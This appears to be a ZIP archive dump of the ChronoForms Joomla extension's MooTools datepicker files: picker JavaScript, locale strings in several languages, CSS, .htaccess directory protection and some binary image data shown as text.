function(){ return this[this.opened == true ? 'close' : 'open'](); }, destroy: function(){ this.picker.destroy(); if (this.shim) this.shim.destroy(); }, position: function(x, y){ var offset = this.options.positionOffset, scroll = document.getScroll(), size = document.getSize(), pickersize = this.picker.getSize(); if (typeOf(x) == 'element'){ var element = x, where = y || this.options.pickerPosition; var elementCoords = element.getCoordinates(); x = (where == 'left') ? elementCoords.left - pickersize.x : (where == 'bottom' || where == 'top') ? elementCoords.left : elementCoords.right y = (where == 'bottom') ? elementCoords.bottom : (where == 'top') ? elementCoords.top - pickersize.y : elementCoords.top; } x += offset.x * ((where && where == 'left') ? -1 : 1); y += offset.y * ((where && where == 'top') ? -1: 1); if ((x + pickersize.x) > (size.x + scroll.x)) x = (size.x + scroll.x) - pickersize.x; if ((y + pickersize.y) > (size.y + scroll.y)) y = (size.y + scroll.y) - pickersize.y; if (x < 0) x = 0; if (y < 0) y = 0; this.picker.setStyles({ left: x, top: y }); if (this.shim) this.shim.position(); return this; }, setBodySize: function(){ var bodysize = this.bodysize = this.body.getSize(); this.slider.setStyles({ width: 2 * bodysize.x, height: bodysize.y }); this.oldContents.setStyles({ left: bodysize.x, width: bodysize.x, height: bodysize.y }); this.newContents.setStyles({ width: bodysize.x, height: bodysize.y }); }, setColumnContent: function(column, content){ var columnElement = this.columns[column]; if (!columnElement) return this; var type = typeOf(content); if (['string', 'number'].contains(type)) columnElement.set('text', content); else columnElement.empty().adopt(content); return this; }, setColumnsContent: function(content, fx){ var old = this.columns; this.columns = this.newColumns; this.newColumns = old; content.forEach(function(_content, i){ this.setColumnContent(i, _content); }, this); return this.setContent(null, fx); }, setColumns: function(columns){ var _columns = this.columns = new Elements, _newColumns = this.newColumns = new Elements; for (var i = columns; i--;){ _columns.push(new Element('div.column').addClass('column_' + (columns - i))); _newColumns.push(new Element('div.column').addClass('column_' + (columns - i))); } var oldClass = 'column_' + this.options.columns, newClass = 'column_' + columns; this.picker.removeClass(oldClass).addClass(newClass); this.options.columns = columns; return this; }, setContent: function(content, fx){ if (content) return this.setColumnsContent([content], fx); // swap contents so we can fill the newContents again and animate var old = this.oldContents; this.oldContents = this.newContents; this.newContents = old; this.newContents.empty(); this.newContents.adopt(this.columns); this.setBodySize(); if (fx){ this.fx(fx); } else { this.slider.setStyle('left', 0); this.oldContents.setStyles({left: 0, opacity: 0}); this.newContents.setStyles({left: 0, opacity: 1}); } return this; }, fx: function(fx){ var oldContents = this.oldContents, newContents = this.newContents, slider = this.slider, bodysize = this.bodysize; if (fx == 'right'){ oldContents.setStyles({left: 0, opacity: 1}); newContents.setStyles({left: bodysize.x, opacity: 1}); slider.setStyle('left', 0).tween('left', 0, -bodysize.x); } else if (fx == 'left'){ oldContents.setStyles({left: bodysize.x, opacity: 1}); newContents.setStyles({left: 0, opacity: 1}); slider.setStyle('left', -bodysize.x).tween('left', -bodysize.x, 0); } else if (fx == 'fade'){ slider.setStyle('left', 0); oldContents.setStyle('left', 0).set('tween', { duration: this.options.animationDuration / 2 }).tween('opacity', 1, 0).get('tween').chain(function(){ oldContents.setStyle('left', bodysize.x); }); newContents.setStyles({opacity: 0, left: 0}).set('tween', { duration: this.options.animationDuration }).tween('opacity', 0, 1); } }, toElement: function(){ return this.picker; }, setTitle: function(content, fn){ if (!fn) fn = Function.from; this.titleText.empty().adopt( Array.from(content).map(function(item, i){ return typeOf(item) == 'element' ? item : new Element('div.column', {text: fn(item, this.options)}).addClass('column_' + (i + 1)); }, this) ); return this; }, setTitleEvent: function(fn){ this.titleText.removeEvents('click'); if (fn) this.titleText.addEvent('click', fn); this.titleText.setStyle('cursor', fn ? 'pointer' : ''); return this; } }); PKGy>\=}[<com_chronoforms/js/datepicker_moo/Locale.pt-BR.DatePicker.jsnuW+A/* --- name: Locale.pt-BR.DatePicker description: Portuguese Language File for DatePicker authors: Jonnathan Soares requires: [More/Locale] provides: Locale.pt-BR.DatePicker ... */ Locale.define('pt-BR', 'DatePicker', { select_a_time: 'Selecione uma hora', use_mouse_wheel: 'Use a roda do mouse para rapidamente trocar de valor', time_confirm_button: 'OK', apply_range: 'Aplicar', cancel: 'Cancelar', week: 'Sem.' }); PKGy>\N<com_chronoforms/js/datepicker_moo/Locale.he-IL.DatePicker.jsnuW+A/* --- name: Locale.he-IL.DatePicker description: Hebrew Language File for DatePicker authors: Amitay Horwitz requires: [More/Locale] provides: Locale.he-IL.DatePicker ... */ Locale.define('he-IL', 'DatePicker', { select_a_time: 'בחר זמן', use_mouse_wheel: 'השתמש בגלגלת העכבר לשינוי מהיר', time_confirm_button: 'אישור', apply_range: 'החל', cancel: 'ביטול', week: 'שבוע' }); PKGy>\bb<com_chronoforms/js/datepicker_moo/Locale.cs-CZ.DatePicker.jsnuW+A/* --- name: Locale.cs-CZ.DatePicker description: Czech Language File for DatePicker authors: Jan Cerny requires: [More/Locale] provides: Locale.cs-CZ.DatePicker ... */ Locale.define('cs-CZ', 'DatePicker', { select_a_time: 'Vyberte čas', use_mouse_wheel: 'Použijte kolečko myši k rychlé změně hodnoty', time_confirm_button: 'Zvolte čas' }); PKGy>\7݅0com_chronoforms/js/datepicker_moo/datepicker.cssnuW+A.datepicker { position: absolute; border: 2px solid #1C3262; font-size: 11px; width: 194px; padding: 3px; height: 221px; background: #fff; line-height: normal; z-index: 3003; } .datepicker.column_2 { width: 393px; } .datepicker.column_3 { width: 592px; } .datepicker.column_4 { width: 791px; } .datepicker.column_5 { width: 990px; } /* header ********************************************************/ .datepicker .header { position: relative; background: #1C3262; height: 21px; padding-top: 4px; margin-bottom: 3px; overflow: hidden; } .datepicker .header .title { text-align: center; padding-top: 1px; position: absolute; color: #fff; font-weight: bold; width: 99999px; } .datepicker .header .titleText { } .datepicker .header .next, .datepicker .header .previous, .datepicker .header .closeButton { position: absolute; width: 15px; height: 15px; background: #fff; text-align: center; color: #666; top: 5px; cursor: pointer; } .datepicker .header .previous { left: 5px; } .datepicker .header .next { right: 28px; } .datepicker .header .closeButton { right: 5px; } /* body ********************************************************/ .datepicker .body { position: relative; top: 0px; left: 0px; height: 193px; overflow: hidden; } /* Columns */ .datepicker .body .column { float: left; width: 194px; min-height: 193px; margin-left: 5px; } .datepicker .body .column.column_1 { margin-left: 0; } .datepicker .titleText .column { float: left; width: 194px; margin-left: 5px; } .datepicker .titleText .column.column_1 { margin-left: 0; } /* Footer */ .datepicker.footer { height: 280px; } .datepicker .footer { margin-top: 3px; padding: 15px 5px; height: 26px; } /* time ********************************************************/ .datepicker .time { width: 100%; height: 100%; background: #eee; } .datepicker .time .hour, .datepicker .time .separator, .datepicker .time .minutes { border: 1px solid #ccc; background: #fff; width: 50px; font-size: 32px; position: absolute; top: 50px; text-align: center; padding: 2px; } .datepicker .time .hour { left: 30px; } .datepicker .time .separator { background: transparent; border: 0px; width: 10px; left: 91px; } .datepicker .time .minutes { left: 110px; } .datepicker .time .ok { position: absolute; top: 105px; width: 136px; left: 30px; font-size: 20px; } /* days-grid ********************************************************/ .datepicker .days .day { float: left; background: #ccc; cursor: pointer; text-align: center; padding-top: 4px; width: 25px; overflow: hidden; height: 21px; margin: 0 3px 3px 0; } .datepicker .days .day0 { margin-right: 0; } .datepicker .days .week5 .day { margin-bottom: 0; } /* days-colors ********************************************************/ .datepicker .days .title { background: #5D6E95; font-weight: bold; color: #fff; cursor: default; } .datepicker .days .otherMonth { background: #eee; color: #aaa; } /* months ********************************************************/ .datepicker .months .month { float: left; background: #eee; cursor: pointer; text-align: center; overflow: hidden; width: 62px; height: 31px; padding-top: 15px; margin: 0 3px 3px 0; } .datepicker .months .month3, .datepicker .months .month6, .datepicker .months .month9, .datepicker .months .month12 { margin-right: 0; width: 64px; } .datepicker .months .month10, .datepicker .months .month11, .datepicker .months .month12 { margin-bottom: 0; } /* years ********************************************************/ .datepicker .years .year { float: left; background: #eee; cursor: pointer; text-align: center; padding-top: 11px; width: 46px; overflow: hidden; height: 25px; margin: 0 3px 3px 0; } .datepicker .years .year3, .datepicker .years .year7, .datepicker .years .year11, .datepicker .years .year15, .datepicker .years .year19 { margin-right: 0; width: 47px; } .datepicker .years .year16, .datepicker .years .year17, .datepicker .years .year18, .datepicker .years .year19 { margin-bottom: 0; height: 26px; } /* global ********************************************************/ .datepicker .selected { background: #8C929F !important; color: #fff !important; } .datepicker .days .otherMonth.selected { background: #bbbfc8 !important; } .datepicker .unavailable, .datepicker .body .days .week .day.unavailable:hover { background: #edd !important; color: #b88 !important; cursor: default !important; } .datepicker .days .week .day:hover, .datepicker .months .month:hover, .datepicker .years .year:hover { background: #5D6E95 !important; color: #fff !important; } .datepicker .days.weeknumbers .day { width: 22px; } .datepicker .days.weeknumbers .day.weeknumber, .datepicker .days.weeknumbers .day.weeknumber:hover { color: #AAA !important; width: 16px !important; background: #EEE !important; } .datepicker table { border-spacing: 0; } .datepicker th, .datepicker td { padding: 0; } PKGy>\ǹLL0com_chronoforms/js/datepicker_moo/Picker.Date.jsnuW+A/* --- name: Picker.Date description: Creates a DatePicker, can be used for picking years/months/days and time, or all of them authors: Arian Stolwijk requires: [Picker, Picker.Attach, Locale.en-US.DatePicker, More/Locale, More/Date] provides: Picker.Date ... */ (function(){ this.DatePicker = Picker.Date = new Class({ Extends: Picker.Attach, options: {/* onSelect: function(date){}, minDate: new Date('3/4/2010'), // Date object or a string maxDate: new Date('3/4/2011'), // same as minDate availableDates: {}, // invertAvailable: false, format: null,*/ timePicker: false, timePickerOnly: false, // deprecated, use onlyView = 'time' timeWheelStep: 1, // 10,15,20,30 yearPicker: true, yearsPerPage: 20, startDay: 1, // Sunday (0) through Saturday (6) - be aware that this may affect your layout, since the days on the right might have a different margin rtl: false, startView: 'days', // allowed values: {time, days, months, years} openLastView: false, pickOnly: false, // 'years', 'months', 'days', 'time' canAlwaysGoUp: ['months', 'days'], updateAll : false, //whether or not to update all inputs when selecting a date weeknumbers: false, // if you like to use your own translations months_abbr: null, days_abbr: null, years_title: function(date, options){ var year = date.get('year'); return year + '-' + (year + options.yearsPerPage - 1); }, months_title: function(date, options){ return date.get('year'); }, days_title: function(date, options){ return date.format('%b %Y'); }, time_title: function(date, options){ return (options.pickOnly == 'time') ? Locale.get('DatePicker.select_a_time') : date.format('%d %B, %Y'); } }, initialize: function(attachTo, options){ this.parent(attachTo, options); this.setOptions(options); options = this.options; // If we only want to use one picker / backwards compatibility ['year', 'month', 'day', 'time'].some(function(what){ if (options[what + 'PickerOnly']){ options.pickOnly = what; return true; } return false; }); if (options.pickOnly){ options[options.pickOnly + 'Picker'] = true; options.startView = options.pickOnly; } // backward compatibility for startView var newViews = ['days', 'months', 'years']; ['month', 'year', 'decades'].some(function(what, i){ return (options.startView == what) && (options.startView = newViews[i]); }); options.canAlwaysGoUp = options.canAlwaysGoUp ? Array.from(options.canAlwaysGoUp) : []; // Set the min and max dates as Date objects if (options.minDate){ if (!(options.minDate instanceof Date)) options.minDate = Date.parse(options.minDate); options.minDate.clearTime(); } if (options.maxDate){ if (!(options.maxDate instanceof Date)) options.maxDate = Date.parse(options.maxDate); options.maxDate.clearTime(); } if (!options.format){ options.format = (options.pickOnly != 'time') ? Locale.get('Date.shortDate') : ''; if (options.timePicker) options.format = (options.format) + (options.format ? ' ' : '') + Locale.get('Date.shortTime'); } // Some link or input has fired an event! this.addEvent('attached', function(event, element){ // This is where we store the selected date if (!this.currentView || !options.openLastView) this.currentView = options.startView; this.date = limitDate(new Date(), options.minDate, options.maxDate); var tag = element.get('tag'), input; if (tag == 'input') input = element; else { var index = this.toggles.indexOf(element); if (this.inputs[index]) input = this.inputs[index]; } this.getInputDate(input); this.input = input; this.setColumns(this.originalColumns); }.bind(this), true); }, getInputDate: function(input){ this.date = new Date(); if (!input) return; var date = Date.parse(input.get('value')); if (date == null || !date.isValid()){ var storeDate = input.retrieve('datepicker:value'); if (storeDate) date = Date.parse(storeDate); } if (date != null && date.isValid()) this.date = date; }, // Control the previous and next elements constructPicker: function(){ this.parent(); if (!this.options.rtl){ this.previous = new Element('div.previous[html=#171;]').inject(this.header); this.next = new Element('div.next[html=#187;]').inject(this.header); } else { this.next = new Element('div.previous[html=#171;]').inject(this.header); this.previous = new Element('div.next[html=#187;]').inject(this.header); } }, hidePrevious: function(_next, _show){ this[_next ? 'next' : 'previous'].setStyle('display', _show ? 'block' : 'none'); return this; }, showPrevious: function(_next){ return this.hidePrevious(_next, true); }, setPreviousEvent: function(fn, _next){ this[_next ? 'next' : 'previous'].removeEvents('click'); if (fn) this[_next ? 'next' : 'previous'].addEvent('click', fn); return this; }, hideNext: function(){ return this.hidePrevious(true); }, showNext: function(){ return this.showPrevious(true); }, setNextEvent: function(fn){ return this.setPreviousEvent(fn, true); }, setColumns: function(columns, view, date, viewFx){ var ret = this.parent(columns), method; if ((view || this.currentView) && (method = 'render' + (view || this.currentView).capitalize()) && this[method] ) this[method](date || this.date.clone(), viewFx); return ret; }, // Render the Pickers renderYears: function(date, fx){ var options = this.options, pages = options.columns, perPage = options.yearsPerPage, _columns = [], _dates = []; this.dateElements = []; // start neatly at interval (eg. 1980 instead of 1987) date = date.clone().decrement('year', date.get('year') % perPage); var iterateDate = date.clone().decrement('year', Math.floor((pages - 1) / 2) * perPage); for (var i = pages; i--;){ var _date = iterateDate.clone(); _dates.push(_date); _columns.push(renderers.years( timesSelectors.years(options, _date.clone()), options, this.date.clone(), this.dateElements, function(date){ if (options.pickOnly == 'years') this.select(date); else this.renderMonths(date, 'fade'); this.date = date; }.bind(this) )); iterateDate.increment('year', perPage); } this.setColumnsContent(_columns, fx); this.setTitle(_dates, options.years_title); // Set limits var limitLeft = (options.minDate && date.get('year') <= options.minDate.get('year')), limitRight = (options.maxDate && (date.get('year') + options.yearsPerPage) >= options.maxDate.get('year')); this[(limitLeft ? 'hide' : 'show') + 'Previous'](); this[(limitRight ? 'hide' : 'show') + 'Next'](); this.setPreviousEvent(function(){ this.renderYears(date.decrement('year', perPage), 'left'); }.bind(this)); this.setNextEvent(function(){ this.renderYears(date.increment('year', perPage), 'right'); }.bind(this)); // We can't go up! this.setTitleEvent(null); this.currentView = 'years'; }, renderMonths: function(date, fx){ var options = this.options, years = options.columns, _columns = [], _dates = [], iterateDate = date.clone().decrement('year', Math.floor((years - 1) / 2)); this.dateElements = []; for (var i = years; i--;){ var _date = iterateDate.clone(); _dates.push(_date); _columns.push(renderers.months( timesSelectors.months(options, _date.clone()), options, this.date.clone(), this.dateElements, function(date){ if (options.pickOnly == 'months') this.select(date); else this.renderDays(date, 'fade'); this.date = date; }.bind(this) )); iterateDate.increment('year', 1); } this.setColumnsContent(_columns, fx); this.setTitle(_dates, options.months_title); // Set limits var year = date.get('year'), limitLeft = (options.minDate && year <= options.minDate.get('year')), limitRight = (options.maxDate && year >= options.maxDate.get('year')); this[(limitLeft ? 'hide' : 'show') + 'Previous'](); this[(limitRight ? 'hide' : 'show') + 'Next'](); this.setPreviousEvent(function(){ this.renderMonths(date.decrement('year', years), 'left'); }.bind(this)); this.setNextEvent(function(){ this.renderMonths(date.increment('year', years), 'right'); }.bind(this)); var canGoUp = options.yearPicker && (options.pickOnly != 'months' || options.canAlwaysGoUp.contains('months')); var titleEvent = (canGoUp) ? function(){ this.renderYears(date, 'fade'); }.bind(this) : null; this.setTitleEvent(titleEvent); this.currentView = 'months'; }, renderDays: function(date, fx){ var options = this.options, months = options.columns, _columns = [], _dates = [], iterateDate = date.clone().decrement('month', Math.floor((months - 1) / 2)); this.dateElements = []; for (var i = months; i--;){ _date = iterateDate.clone(); _dates.push(_date); _columns.push(renderers.days( timesSelectors.days(options, _date.clone()), options, this.date.clone(), this.dateElements, function(date){ if (options.pickOnly == 'days' || !options.timePicker) this.select(date) else this.renderTime(date, 'fade'); this.date = date; }.bind(this) )); iterateDate.increment('month', 1); } this.setColumnsContent(_columns, fx); this.setTitle(_dates, options.days_title); var yearmonth = date.format('%Y%m').toInt(), limitLeft = (options.minDate && yearmonth <= options.minDate.format('%Y%m')), limitRight = (options.maxDate && yearmonth >= options.maxDate.format('%Y%m')); this[(limitLeft ? 'hide' : 'show') + 'Previous'](); this[(limitRight ? 'hide' : 'show') + 'Next'](); this.setPreviousEvent(function(){ this.renderDays(date.decrement('month', months), 'left'); }.bind(this)); this.setNextEvent(function(){ this.renderDays(date.increment('month', months), 'right'); }.bind(this)); var canGoUp = options.pickOnly != 'days' || options.canAlwaysGoUp.contains('days'); var titleEvent = (canGoUp) ? function(){ this.renderMonths(date, 'fade'); }.bind(this) : null; this.setTitleEvent(titleEvent); this.currentView = 'days'; }, renderTime: function(date, fx){ var options = this.options; this.setTitle(date, options.time_title); var originalColumns = this.originalColumns = options.columns; this.currentView = null; // otherwise you'd get crazy recursion if (originalColumns != 1) this.setColumns(1); this.setContent(renderers.time( options, date.clone(), function(date){ this.select(date); }.bind(this) ), fx); // Hide « and » buttons this.hidePrevious() .hideNext() .setPreviousEvent(null) .setNextEvent(null); var canGoUp = options.pickOnly != 'time' || options.canAlwaysGoUp.contains('time'); var titleEvent = (canGoUp) ? function(){ this.setColumns(originalColumns, 'days', date, 'fade'); }.bind(this) : null; this.setTitleEvent(titleEvent); this.currentView = 'time'; }, select: function(date, all){ this.date = date; var formatted = date.format(this.options.format), time = date.strftime(), inputs = (!this.options.updateAll && !all && this.input) ? [this.input] : this.inputs; inputs.each(function(input){ input.set('value', formatted).store('datepicker:value', time).fireEvent('change'); }, this); this.fireEvent('select', [date].concat(inputs)); this.close(); return this; } }); // Renderers only output elements and calculate the limits! var timesSelectors = { years: function(options, date){ var times = []; for (var i = 0; i < options.yearsPerPage; i++){ times.push(+date); date.increment('year', 1); } return times; }, months: function(options, date){ var times = []; date.set('month', 0); for (var i = 0; i <= 11; i++){ times.push(+date); date.increment('month', 1); } return times; }, days: function(options, date){ var times = []; date.set('date', 1); while (date.get('day') != options.startDay) date.set('date', date.get('date') - 1); for (var i = 0; i < 42; i++){ times.push(+date); date.increment('day', 1); } return times; } }; var renderers = { years: function(years, options, currentDate, dateElements, fn){ var container = new Element('div.years'), today = new Date(), element, classes; years.each(function(_year, i){ var date = new Date(_year), year = date.get('year'); classes = '.year.year' + i; if (year == today.get('year')) classes += '.today'; if (year == currentDate.get('year')) classes += '.selected'; element = new Element('div' + classes, {text: year}).inject(container); dateElements.push({element: element, time: _year}); if (isUnavailable('year', date, options)) element.addClass('unavailable'); else element.addEvent('click', fn.pass(date)); }); return container; }, months: function(months, options, currentDate, dateElements, fn){ var today = new Date(), month = today.get('month'), thisyear = today.get('year'), selectedyear = currentDate.get('year'), container = new Element('div.months'), monthsAbbr = options.months_abbr || Locale.get('Date.months_abbr'), element, classes; months.each(function(_month, i){ var date = new Date(_month), year = date.get('year'); classes = '.month.month' + (i + 1); if (i == month && year == thisyear) classes += '.today'; if (i == currentDate.get('month') && year == selectedyear) classes += '.selected'; element = new Element('div' + classes, {text: monthsAbbr[i]}).inject(container); dateElements.push({element: element, time: _month}); if (isUnavailable('month', date, options)) element.addClass('unavailable'); else element.addEvent('click', fn.pass(date)); }); return container; }, days: function(days, options, currentDate, dateElements, fn){ var month = new Date(days[14]).get('month'), todayString = new Date().toDateString(), currentString = currentDate.toDateString(), weeknumbers = options.weeknumbers, container = new Element('table.days' + (weeknumbers ? '.weeknumbers' : ''), { role: 'grid', 'aria-labelledby': this.titleID }), header = new Element('thead').inject(container), body = new Element('tbody').inject(container), titles = new Element('tr.titles').inject(header), localeDaysShort = options.days_abbr || Locale.get('Date.days_abbr'), day, classes, element, weekcontainer, dateString, where = options.rtl ? 'top' : 'bottom'; if (weeknumbers) new Element('th.title.day.weeknumber', { text: Locale.get('DatePicker.week') }).inject(titles); for (day = options.startDay; day < (options.startDay + 7); day++){ new Element('th.title.day.day' + (day % 7), { text: localeDaysShort[(day % 7)], role: 'columnheader' }).inject(titles, where); } days.each(function(_date, i){ var date = new Date(_date); if (i % 7 == 0){ weekcontainer = new Element('tr.week.week' + (Math.floor(i / 7))).set('role', 'row').inject(body); if (weeknumbers) new Element('th.day.weeknumber', {text: date.get('week'), scope: 'row', role: 'rowheader'}).inject(weekcontainer); } dateString = date.toDateString(); classes = '.day.day' + date.get('day'); if (dateString == todayString) classes += '.today'; if (date.get('month') != month) classes += '.otherMonth'; element = new Element('td' + classes, {text: date.getDate(), role: 'gridcell'}).inject(weekcontainer, where); if (dateString == currentString) element.addClass('selected').set('aria-selected', 'true'); else element.set('aria-selected', 'false'); dateElements.push({element: element, time: _date}); if (isUnavailable('date', date, options)) element.addClass('unavailable'); else element.addEvent('click', fn.pass(date.clone())); }); return container; }, time: function(options, date, fn){ var container = new Element('div.time'), // make sure that the minutes are timeWheelStep * k initMinutes = (date.get('minutes') / options.timeWheelStep).round() * options.timeWheelStep if (initMinutes >= 60) initMinutes = 0; date.set('minutes', initMinutes); var hoursInput = new Element('input.hour[type=text]', { title: Locale.get('DatePicker.use_mouse_wheel'), value: date.format('%H'), events: { click: function(event){ event.target.focus(); event.stop(); }, mousewheel: function(event){ event.stop(); hoursInput.focus(); var value = hoursInput.get('value').toInt(); value = (event.wheel > 0) ? ((value < 23) ? value + 1 : 0) : ((value > 0) ? value - 1 : 23) date.set('hours', value); hoursInput.set('value', date.format('%H')); }.bind(this) }, maxlength: 2 }).inject(container); var minutesInput = new Element('input.minutes[type=text]', { title: Locale.get('DatePicker.use_mouse_wheel'), value: date.format('%M'), events: { click: function(event){ event.target.focus(); event.stop(); }, mousewheel: function(event){ event.stop(); minutesInput.focus(); var value = minutesInput.get('value').toInt(); value = (event.wheel > 0) ? ((value < 59) ? (value + options.timeWheelStep) : 0) : ((value > 0) ? (value - options.timeWheelStep) : (60 - options.timeWheelStep)); if (value >= 60) value = 0; date.set('minutes', value); minutesInput.set('value', date.format('%M')); }.bind(this) }, maxlength: 2 }).inject(container); new Element('div.separator[text=:]').inject(container); new Element('input.ok[type=submit]', { value: Locale.get('DatePicker.time_confirm_button'), events: {click: function(event){ event.stop(); date.set({ hours: hoursInput.get('value').toInt(), minutes: minutesInput.get('value').toInt() }); fn(date.clone()); }} }).inject(container); return container; } }; Picker.Date.defineRenderer = function(name, fn){ renderers[name] = fn; return this; }; var limitDate = function(date, min, max){ if (min && date < min) return min; if (max && date > max) return max; return date; }; var isUnavailable = function(type, date, options){ var minDate = options.minDate, maxDate = options.maxDate, availableDates = options.availableDates, year, month, day, ms; if (!minDate && !maxDate && !availableDates) return false; date.clearTime(); if (type == 'year'){ year = date.get('year'); return ( (minDate && year < minDate.get('year')) || (maxDate && year > maxDate.get('year')) || ( (availableDates != null && !options.invertAvailable) && ( availableDates[year] == null || Object.getLength(availableDates[year]) == 0 || Object.getLength( Object.filter(availableDates[year], function(days){ return (days.length > 0); }) ) == 0 ) ) ); } if (type == 'month'){ year = date.get('year'); month = date.get('month') + 1; ms = date.format('%Y%m').toInt(); return ( (minDate && ms < minDate.format('%Y%m').toInt()) || (maxDate && ms > maxDate.format('%Y%m').toInt()) || ( (availableDates != null && !options.invertAvailable) && ( availableDates[year] == null || availableDates[year][month] == null || availableDates[year][month].length == 0 ) ) ); } // type == 'date' year = date.get('year'); month = date.get('month') + 1; day = date.get('date'); var dateAllow = (minDate && date < minDate) || (minDate && date > maxDate); if (availableDates != null){ dateAllow = dateAllow || availableDates[year] == null || availableDates[year][month] == null || !availableDates[year][month].contains(day); if (options.invertAvailable) dateAllow = !dateAllow; } return dateAllow; }; })(); PKGy>\z<com_chronoforms/js/datepicker_moo/Locale.ru-RU.DatePicker.jsnuW+A/* --- name: Locale.ru-RU.DatePicker description: Russian Language File for DatePicker authors: https://github.com/rwz requires: [More/Locale] provides: Locale.ru-RU.DatePicker ... */ Locale.define('ru-RU', 'DatePicker', { select_a_time: 'Выберите время', use_mouse_wheel: 'Используйте колесо мышки для быстрой смены значения', time_confirm_button: 'OK' }); PKGy>\=n<com_chronoforms/js/datepicker_moo/Locale.fr-FR.DatePicker.jsnuW+A/* --- name: Locale.fr-FR.DatePicker description: French Language File for DatePicker authors: ["Arian Stolwijk", "charlouze", "Abric Armand"] requires: [More/Locale] provides: Locale.fr-FR.DatePicker ... */ Locale.define('fr-FR', 'DatePicker', { select_a_time: 'Choisir l\'heure', use_mouse_wheel: 'Utiliser la molette pour changer l\'heure rapidement', time_confirm_button: 'OK', apply_range: 'Appliquer', cancel: 'Annuler', week: 'Sem' }); PKGy>\)ʴa 6com_chronoforms/js/datepicker_moo/Picker.Date.Range.jsnuW+A/* --- name: Picker.Date.Range description: Select a Range of Dates authors: Arian Stolwijk requires: [Picker, Picker.Date] provides: Picker.Date.Range ... */ Picker.Date.Range = new Class({ Extends: Picker.Date, options: { getStartEndDate: function(input){ return input.get('value').split('-').map(function(date){ var parsed = Date.parse(date); return Date.isValid(parsed) ? parsed : null; }).clean(); }, setStartEndDate: function(input, dates){ input.set('value', dates.map(function(date){ return date.format(this.options.format); }, this).join(' - ')); }, footer: true, columns: 3 }, getInputDate: function(input){ if (!input) return; var dates = input.retrieve('datepicker:value'); if (dates && dates.length) dates = dates.map(Date.parse); if (!dates || !dates.length || dates.some(function(date){ return !Date.isValid(date); })){ dates = this.options.getStartEndDate.call(this, input); if (!dates.length || !dates.every(function(date){ return Date.isValid(date); })) dates = [this.date]; } if (dates.length == 1) this.date = this.startDate = this.endDate = dates[0]; else if (dates.length == 2){ this.date = this.startDate = dates[0]; this.endDate = dates[1]; } }, constructPicker: function(){ this.parent(); var footer = this.footer, self = this; if (!footer) return; var events = { click: function(){ this.focus(); }, blur: function(){ var date = Date.parse(this.get('value')); if (date.isValid) self[(this == startInput ? 'start' : 'end') + 'Date'] = date; self.updateRangeSelection(); }, keydown: function(event){ if (event.key == 'enter') self.selectRange(); } }; var startInput = this.startInput = new Element('input', {events: events}).inject(footer); new Element('span', {text: ' - '}).inject(footer); var endInput = this.endInput = new Element('input', {events: events}).inject(footer); this.applyButton = new Element('button.apply', { text: Locale.get('DatePicker.apply_range'), events: {click: self.selectRange.pass([], self)} }).inject(footer); this.cancelButton = new Element('button.cancel', { text: Locale.get('DatePicker.cancel'), events: {click: self.close.pass(false, self)} }).inject(footer); }, renderDays: function(){ this.parent.apply(this, arguments); this.updateRangeSelection(); }, select: function(date){ if (this.startDate && (this.endDate == this.startDate || date > this.endDate) && date >= this.startDate) this.endDate = date; else { this.startDate = date; this.endDate = date; } this.updateRangeSelection(); }, selectRange: function(){ this.date = this.startDate; var dates = [this.startDate, this.endDate], input = this.input; this.options.setStartEndDate.call(this, input, dates); input.store('datepicker:value', dates.map(function(date){ return date.strftime(); })).fireEvent('change'); this.fireEvent('select', dates, input); this.close(); return this; }, updateRangeSelection: function(){ var start = this.startDate, end = this.endDate || start; if (this.dateElements) for (var i = this.dateElements.length; i--;){ var el = this.dateElements[i]; if (el.time >= start && el.time <= end) el.element.addClass('selected'); else el.element.removeClass('selected'); } var formattedFirst = start.format(this.options.format) formattedEnd = end.format(this.options.format); this.startInput.set('value', formattedFirst); this.endInput.set('value', formattedEnd); return this; } }); PKGy>\,com_chronoforms/js/datepicker_moo/index.htmlnuW+APKGy>\)+com_chronoforms/js/datepicker_moo/.htaccessnuW+A Order allow,deny Deny from all PKGy>\);com_chronoforms/js/datepicker_moo/datepicker_jqui/.htaccessnuW+A Order allow,deny Deny from all PKGy>\<com_chronoforms/js/datepicker_moo/datepicker_jqui/arrows.pngnuW+APNG  IHDR!!WoIDATx @/_a1\$f`p }Xρ @=m u͐W!Sb&M) ύDV%lV<y ,asN'lI.a Xb݉l%62x&ك{Ω#GEuH"%)twCFCFFFFFFX4EPIENDB`PKGy>\;com_chronoforms/js/datepicker_moo/datepicker_jqui/Thumbs.dbnuW+Aࡱ> Root Entry.G@ 256_b460c1ce23e67747*256_b960989648c08347*E  !"#$T' PNG  IHDR!!WosRGBgAMA a-IDATXGV 0DEEX (؂ @H "/,"]w)uU4KWV%XؿJbs?[c p}O7 MC>o<;J g'#/;qU  6[ Kİ~%yq~#pN+G>ב@L5حL0'i;ZB";!,L'$ VT]ҸGˢM,vVHS#Myr5ԤԤSߡ<IENDB`-,l(LPNG  IHDRc~sRGBgAMA aIDATx^kcUߤ$WҦUFh2"wA\t!Zn] .+BpXmӦIaڤsO;ip<{9I1wܗ}\@wݟFsX,Vr\\.W7AV$6l3w\@n2,>8Nxqq_M(Hjѧ" Xi-ygKBpn%h&^kz%˾!_, UAo;!X\99rH~t 0fN;A:~ x} gʄ@jُ"_:_BpP~KPȯ}j~Z;t:<* 4wL] ACB@kCBBSCBP (M۸. D[CBP=?fP D!! vꂀ'mo  4hgj'|wyM@qv-IFahމǞ]M0Q DԛJg@qth>ϧd]xr'AzM0戬 d]{+tm<Ӷ1NA yΝv-+/^C; ~jNmA* p5g-/zEz5B( &:ht4Kj<"@A!W y@p@!W y;sss$-:ƒ#O)LB!W y@p@!WOPV!If>S4}  O+B 8 O f"Nj .  <B   fff I;;; $GS!<B   <E:==-vww"z$t y@p@!W ySSS$=#O)LB!W y@p@"Mlj=U`: 8 O+B}J H888O 9"t! y@p@!W -r,"z$t y@p@!W yR $jHAX$ m#O pX<B   <'( I>S5[8 A!W y@p@!W Ą<h8>>c9TM @ cl'@!y@^'@yH@@@ӡc,9"t! y@p@!W y@p@!W yr9H@@@Ey@`k|'DZ<𾓄^G \x󓓓S LR&/߸$(R@boI IENDB`PKGy>\<com_chronoforms/js/datepicker_moo/datepicker_jqui/index.htmlnuW+APKGy>\pEcom_chronoforms/js/datepicker_moo/datepicker_jqui/datepicker_jqui.cssnuW+A.datepicker_jqui { position: absolute; font-size: 10px; font-family: "Trebuchet MS", Tahoma, Verdana, Arial, sans-serif; color: #333; line-height: normal; width: 185px; height: 158px; padding: 4px; background: url(frame.png) no-repeat; } /* header ********************************************************/ .datepicker_jqui .header { 